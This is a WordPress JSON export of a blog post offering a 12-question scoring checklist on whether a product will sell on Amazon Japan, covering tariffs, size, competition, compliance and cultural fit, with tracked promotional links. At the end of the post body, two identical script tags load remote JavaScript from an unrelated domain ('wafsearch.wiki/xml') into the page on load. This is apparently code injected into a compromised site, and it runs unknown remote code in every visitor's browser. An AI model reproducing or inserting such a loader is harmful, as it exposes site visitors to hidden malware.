{"id":6936,"date":"2024-02-23T02:09:00","date_gmt":"2024-02-23T07:09:00","guid":{"rendered":"https:\/\/7figuresellersummit.com\/?p=6936"},"modified":"2025-10-01T14:21:38","modified_gmt":"2025-10-01T18:21:38","slug":"will-my-product-sell-on-amazon-japan-12-question-product-decision-tree","status":"publish","type":"post","link":"https:\/\/7figuresellersummit.com\/?p=6936","title":{"rendered":"Will my product sell on Amazon Japan? 12-question Product Decision Tree"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Are you curious \u201cWill my product sell in Japan?\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If so, I\u2019ve distilled down dozens of factors to 12 yes or no questions.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This will give you a quick gauge IF Amazon japan is a great opportunity to expand your business in 2024.&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I call it the&nbsp;<strong>Amazon Japan Decision Tree.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">First off, I recommend you set aside 5-10 minutes to go through the 12 questions and keep track of your Yes or No answers.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">By the end of this Decision tree you will know \u201cWill my product sell on Amazon Japan\u201d.&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It\u2019s not 100% foolproof but it will give you a strong indication and reduce your risks.&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s dive in.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>1) Are you selling a product with at least 300 reviews on an Amazon Marketplace other than Japan? (Add 1 point if Yes)<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">If yes, then you can carry over to Amazon Japan and launch with the same number of reviews from Day 1.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Review thresholds are much lower in Japan and you will be at an advantage from your launch.&nbsp;<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>2) Is your product manufactured in China? (Add 1 point if Yes)<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">If Yes, you will eliminate US-China tariffs and get at least 25% cost reduction on landed costs<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">And you will enjoy shorter lead times as low as 7-10 days shipping from China to Japan which will let you place smaller orders (and free up your cash flow)<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>3) Is your product manufactured in India, Vietnam, Thailand, and other free trade countries with Japan? (Add 2 points if YES)<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">If yes, you may lower your duties to as low as ZERO.&nbsp;&nbsp;This is more cost reduction on landed cost and more profit margin for you.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>4) Does your product have a chance to go VIRAL on social media? (Add 1 point if Yes)<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">For example it&#8217;s not a boring product like a trash bag or masking tape.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Japanese consumers love to follow the crowd.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>5) Does your product have any influencers on Youtube, Instagram, Tiktok? (Add 1 point if Yes)<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">If so, then there&#8217;s a strong chance you can drive a ton of external traffic to your listing in Japan because influencers are big in Japan.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>6) Is your product SIZE compatible with Japan? (Add 1 point if Yes)<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">Japanese apartments, especially in Tokyo are TINY. You will need to consider if your product is TOO BIG for the market.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For example large patio furniture will not work because Japanese apartments DO NOT have patios.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As a rule of thumb very LARGE or Oversized products may not have product market fit for Japan.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Youtube is a great way to check how your product will fit (or not)<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>7) Is there a large Market for your product in Japan? (Add 1 point if Yes)<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">Use the Amazon Product Opportunity Explorer, Jungle Scout, Helium 10, or Data Dive to research the top search results on<a href=\"https:\/\/8020sourcing.lt.acemlnb.com\/Prod\/link-tracker?redirectUrl=aHR0cCUzQSUyRiUyRmFtYXpvbi5jby5qcCUzRnV0bV9zb3VyY2UlM0RBY3RpdmVDYW1wYWlnbiUyNnV0bV9tZWRpdW0lM0RlbWFpbCUyNnV0bV9jb250ZW50JTNEQW1hem9uJTJCSmFwYW4lMkJQcm9kdWN0JTJCRGVjaXNpb24lMkJUcmVlJTI2dXRtX2NhbXBhaWduJTNEMjAyNDAyMTklMkJFbWFpbCUyQjEwJTJCLSUyQldpbGwlMkJteSUyQnByb2R1Y3QlMkJzZWxsJTJCb24lMkJBbWF6b24lMkJKUCUyNTNG&amp;sig=6E4xreERSXNJQRWjZH8YcmcUBLYm79Td1VjnqTTWVwoa&amp;iat=1708583693&amp;a=%7C%7C799004421%7C%7C&amp;account=8020sourcing%2Eactivehosted%2Ecom&amp;email=Fcdxw0kXfA59s6R62SK4Ao1RADzaorFris0AMostVZv2uIEX5KkUCZOS%3AcTIlxs1V1MBspT9o777vrDmIrOhgWJGT&amp;s=84cc15dab5ae914306c4d0da32ec2d5e&amp;i=2747A3877A1A17966\"><u>Amazon.co.jp<\/u><\/a>&nbsp;for your main keywords. &#8211; how many sales are there?&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For example, are there 5,000 sales per month in the top 10 listings combined?&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">That means there\u2019s a significant market for your product<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>8) Are there 5-10 Keywords on Amazon JP that you can rank for? (Add 1 point if Yes)<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">Search on&nbsp;<a href=\"http:\/\/amazon.co.jp\/\">Amazon.co.jp<\/a>&nbsp;for competing products using english keywords.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Then use tools such as Helium 10 and Jungle Scout to do a reverse ASIN search to find out your keywords in Japanese.&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">You can also use ChatGPT to translate these keywords into Japanese and\/or English.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>9)&nbsp;&nbsp;Does your product have Low Competition in Japan? (Add 1 point if Yes)<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">Goto&nbsp;<a href=\"http:\/\/amazon.co.jp\/\">amazon.co.jp<\/a>&nbsp;and search in English for your keywords.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Look at the top 10 competitors for your product &#8211; are there at least 5 sellers with less than 300 reviews?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If so then there\u2019s a good chance of success for your product.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>10) Does your product have Low Compliance complexity? (Add 1 point if Yes)<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">This means you are NOT selling anything that goes ON THE BODY or IN THE BODY? (Supplements, cosmetics, etc)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Also anything that does NOT touch food or drink (e.g. water bottle)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If If so be prepared for more regulations<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>11) Does your product have fewer than 5 components? (Add 1 point if Yes)<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">In Japan compliance tests are often required for each component.&nbsp;&nbsp;This means that if there many different parts, there will be higher compliance costs as each part may need to be individually tested.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>12) Is your product a cultural fit for Japan? (Add 1 point if Yes)<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">Taco holder test &#8211; is your product like a taco holder or something that is very US-centric? Just so you know most Japanese ppl don&#8217;t eat tacos so there is little demand in Japan.&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This may be hard to gauge if you\u2019re not familiar with Japanese culture.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">But there is a quick hack to get 95% certainty.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ask ChatGPT \u201cDo Japanese people use (<em>XXX product<\/em>)?\u201d.&nbsp;&nbsp;(Replace with your product keyword)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Then fact check then answer against&nbsp;<a href=\"http:\/\/amazon.co.jp\/\">Amazon.co.jp<\/a>&nbsp;and\/or Youtube.<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>OK now it\u2019s time to calculate your score.&nbsp;&nbsp;<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">Add up all of the YES answers and if you totaled:<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>8-11 Yes &#8211; Very strong chance of success in Amazon Japan &#8211; This is one of the most important things you should do in your business in 2024<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">I would then look deeper into this<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>How to do Amazon Japan Keyword research (without knowing Japanese) &#8211; Watch this training &#8211;&nbsp;<a href=\"https:\/\/8020sourcing.lt.acemlnb.com\/Prod\/link-tracker?redirectUrl=aHR0cHMlM0ElMkYlMkZ5b3V0dS5iZSUyRnJCcDlid2ZuNFdBJTNGZmVhdHVyZSUzRHNoYXJlZCUyNnV0bV9zb3VyY2UlM0RBY3RpdmVDYW1wYWlnbiUyNnV0bV9tZWRpdW0lM0RlbWFpbCUyNnV0bV9jb250ZW50JTNEQW1hem9uJTJCSmFwYW4lMkJQcm9kdWN0JTJCRGVjaXNpb24lMkJUcmVlJTI2dXRtX2NhbXBhaWduJTNEMjAyNDAyMTklMkJFbWFpbCUyQjEwJTJCLSUyQldpbGwlMkJteSUyQnByb2R1Y3QlMkJzZWxsJTJCb24lMkJBbWF6b24lMkJKUCUyNTNG&amp;sig=H6ktnjKR2GmrkNWyUhqXRDxrXwgu7qdkeVERADQ5jVU4&amp;iat=1708583693&amp;a=%7C%7C799004421%7C%7C&amp;account=8020sourcing%2Eactivehosted%2Ecom&amp;email=Fcdxw0kXfA59s6R62SK4Ao1RADzaorFris0AMostVZv2uIEX5KkUCZOS%3AcTIlxs1V1MBspT9o777vrDmIrOhgWJGT&amp;s=84cc15dab5ae914306c4d0da32ec2d5e&amp;i=2747A3877A1A17967\"><u>https:\/\/youtu.be\/rBp9bwfn4WA?feature=shared<\/u><\/a><\/li>\n\n\n\n<li>Find out your product compliance testing requirements for Japan (Cost of the price of a Starbucks coffee) Contact Yunige at&nbsp;<a href=\"https:\/\/8020sourcing.lt.acemlnb.com\/Prod\/link-tracker?redirectUrl=aHR0cHMlM0ElMkYlMkZzZXJ2aWNlLnl1bmlnZS5pbmZvJTJGY29tcGxpYW5jZSUyRmNoZWNrSWQlM0Z1dG1fc291cmNlJTNEQWN0aXZlQ2FtcGFpZ24lMjZ1dG1fbWVkaXVtJTNEZW1haWwlMjZ1dG1fY29udGVudCUzREFtYXpvbiUyQkphcGFuJTJCUHJvZHVjdCUyQkRlY2lzaW9uJTJCVHJlZSUyNnV0bV9jYW1wYWlnbiUzRDIwMjQwMjE5JTJCRW1haWwlMkIxMCUyQi0lMkJXaWxsJTJCbXklMkJwcm9kdWN0JTJCc2VsbCUyQm9uJTJCQW1hem9uJTJCSlAlMjUzRg==&amp;sig=7LZNat95mvCxSfJU8AHAMwJExYNJ1WTySpq9p9R1Aeqr&amp;iat=1708583693&amp;a=%7C%7C799004421%7C%7C&amp;account=8020sourcing%2Eactivehosted%2Ecom&amp;email=Fcdxw0kXfA59s6R62SK4Ao1RADzaorFris0AMostVZv2uIEX5KkUCZOS%3AcTIlxs1V1MBspT9o777vrDmIrOhgWJGT&amp;s=84cc15dab5ae914306c4d0da32ec2d5e&amp;i=2747A3877A1A17968\"><u>https:\/\/service.yunige.info\/compliance\/checkId<\/u><\/a>&nbsp;&nbsp;Enter code 7FSJM for a discount&nbsp;<\/li>\n<\/ul>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>4-8 Yes &#8211; Good chance of success in JP&nbsp;<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">Your product has Good product-market fit and you should find more details to make a decision &#8211; see above<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>1-3 Yes &#8211; Lower chance of success in JP&nbsp;<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">This product may not be the best product market fit at this time.&nbsp;&nbsp;Consider other products.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>0 Yes &#8211; Do not enter Japan yet<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">Consider different products and different strategies.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>Note: if you did score below a 4 &#8211; it is NOT game over for your product in Japan.<\/strong><\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">There are ways to quickly pivot and tweak your products to make them sell well in Japan\u2026 without having to start over from scratch.&nbsp;&nbsp;One way is to make different product variations that can cater better to the Japanese marketplace.&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I suggest you run the variation through the 12 question decision tree to see if you can score higher.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Notice I didn&#8217;t put anything about language or translation because that can be solved using a translator and commonly available tools like ChatGPT.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">By the way, if you took the test let me know what score you got?&nbsp;&nbsp;Was this helpful?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Gary<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">PS: If you scored between 4-11, I highly recommend you take action this year and&nbsp;<a href=\"https:\/\/8020sourcing.lt.acemlnb.com\/Prod\/link-tracker?redirectUrl=aHR0cHMlM0ElMkYlMkY3ZmlndXJlc2VsbGVyamFwYW5tYXN0ZXJtaW5kLmNvbSUyRiUzRnV0bV9zb3VyY2UlM0RBY3RpdmVDYW1wYWlnbiUyNnV0bV9tZWRpdW0lM0RlbWFpbCUyNnV0bV9jb250ZW50JTNEQW1hem9uJTJCSmFwYW4lMkJQcm9kdWN0JTJCRGVjaXNpb24lMkJUcmVlJTI2dXRtX2NhbXBhaWduJTNEMjAyNDAyMTklMkJFbWFpbCUyQjEwJTJCLSUyQldpbGwlMkJteSUyQnByb2R1Y3QlMkJzZWxsJTJCb24lMkJBbWF6b24lMkJKUCUyNTNG&amp;sig=CPGLHnWPxaFhLhEggGgWgkSUd1PwfVufr5Y5dj7q4QhT&amp;iat=1708583693&amp;a=%7C%7C799004421%7C%7C&amp;account=8020sourcing%2Eactivehosted%2Ecom&amp;email=Fcdxw0kXfA59s6R62SK4Ao1RADzaorFris0AMostVZv2uIEX5KkUCZOS%3AcTIlxs1V1MBspT9o777vrDmIrOhgWJGT&amp;s=84cc15dab5ae914306c4d0da32ec2d5e&amp;i=2747A3877A1A17969\"><u>join us at 7FSJM2<\/u><\/a>&nbsp;&#8211; to learn the updated 2024 roadmap on how you can sell up to $965k in Japan.<\/p>\n<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script>","protected":false},"excerpt":{"rendered":"<p>Are you curious \u201cWill my product sell in Japan?\u201d If so, I\u2019ve distilled down dozens of factors to 12 yes or no questions. This will give you a quick gauge IF Amazon japan is a great opportunity to expand your business in 2024.&nbsp;&nbsp; I call it the&nbsp;Amazon Japan Decision Tree. First off, I recommend you [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_mi_skip_tracking":false,"footnotes":"","tve_updated_post":"","tve_custom_css":"","tve_user_custom_css":"","tve_globals":{},"tcb2_ready":0,"tcb_editor_enabled":0,"tve_landing_page":"","_tve_header":"","_tve_footer":""},"categories":[1],"tags":[],"class_list":["post-6936","post","type-post","status-publish","format-standard","hentry","category-blog"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 4.9.8 - aioseo.com -->\n\t<meta name=\"description\" content=\"Are you curious \u201cWill my product sell in Japan?\u201d If so, I\u2019ve distilled down dozens of factors to 12 yes or no questions. This will give you a quick gauge IF Amazon japan is a great opportunity to expand your business in 2024. I call it the Amazon Japan Decision Tree. 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